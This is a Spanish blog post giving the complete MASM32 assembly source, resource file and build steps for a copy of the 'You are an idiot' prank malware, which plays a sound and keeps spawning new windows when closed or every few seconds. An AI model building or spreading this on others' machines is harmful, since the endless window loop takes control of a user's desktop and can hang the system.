El malware llamado “eres un idiota” es molesto, pero inofensivo. Yo hice hace unos años mi propia versión en no mas de 15 lineas escritas en c#:
El fin de semana me propuse reescribirlo en masm32, usando solo las api de windows y el notepad. Acá el resultado:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\winmm.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\gdi32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
.data
ClassName db "SimpleVirus",0
AppName db "virus macri",0
formato db "WAVE",0
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hBitmap dd ?
ThreadID DWORD ?
.const
ID_BIMAP equ 8000
ID_ICONO equ 7000
ID_WAVE equ 6000
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,ID_ICONO
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,375,375,NULL,NULL,hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL hMemDC:HDC
LOCAL rect:RECT
LOCAL hRes:DWORD
LOCAL lpRes:DWORD
.IF uMsg==WM_CREATE
invoke LoadBitmap,hInstance,ID_BIMAP
mov hBitmap,eax
invoke FindResource,hInstance,ID_WAVE,addr formato
invoke LoadResource,hInstance,eax
mov hRes,eax
invoke LockResource,hRes
mov lpRes,eax
.if lpRes != NULL
invoke sndPlaySound,lpRes,SND_MEMORY or SND_SYNC or SND_NODEFAULT
mov hRes,eax
.elseif
invoke FreeResource,hRes
.endif
xor eax,eax
invoke Sleep,3000
mov eax,OFFSET WndThread
invoke CreateThread,NULL,NULL,eax,0,NULL,ADDR ThreadID
invoke CloseHandle,eax
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemDC,eax
invoke SelectObject,hMemDC,hBitmap
invoke GetClientRect,hWnd,addr rect
invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
invoke DeleteDC,hMemDC
invoke EndPaint,hWnd,addr ps
.ELSEIF uMsg==WM_CLOSE
invoke GetModuleHandle,NULL
mov hInstance,eax
mov eax,OFFSET WndThread
invoke CreateThread,NULL,NULL,eax,0,NULL,ADDR ThreadID
invoke CloseHandle,eax
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
WndThread PROC USES ecx Param:DWORD
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
WndThread endp
end start
Comentaré brevemente cómo funciona:
El siguiente código lanza un proceso cuando se cierra el programa o pasan 3 segundos:
invoke CreateThread,NULL,NULL,eax,0,NULL,ADDR ThreadID
Ese hilo lo que hace es lanzar una nueva ventana:
WndThread PROC USES ecx Param:DWORD
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
WndThread endp
Las siguiente líneas lanza la musiquita eres un idiota del programa:
invoke FindResource,hInstance,ID_WAVE,addr formato
invoke LoadResource,hInstance,eax
mov hRes,eax
invoke LockResource,hRes
mov lpRes,eax
.if lpRes != NULL
invoke sndPlaySound,lpRes,SND_MEMORY or SND_SYNC or SND_NODEFAULT
mov hRes,eax
.elseif
invoke FreeResource,hRes
.endif
En el archivo rsrc.rc guardamos los recursos del programa:
#include "C:\\masm32\\include\\RESOURCE.h"
8000 BITMAP "macri78.bmp"
7000 icon "im.ico"
6000 WAVE "youareanidiot.wav"
El programa se compila de la siguiente manera:
rc /v rsrc.rc
ml /c /coff estupido.asm
link estupido.obj rsrc.res
Puedes descargar el código fuente y el ejecutable desde aquí
Imagino que estará pensando el amigo lector: “¿por qué hacer un loop de ventanas infinita?, ¿eres idiota?”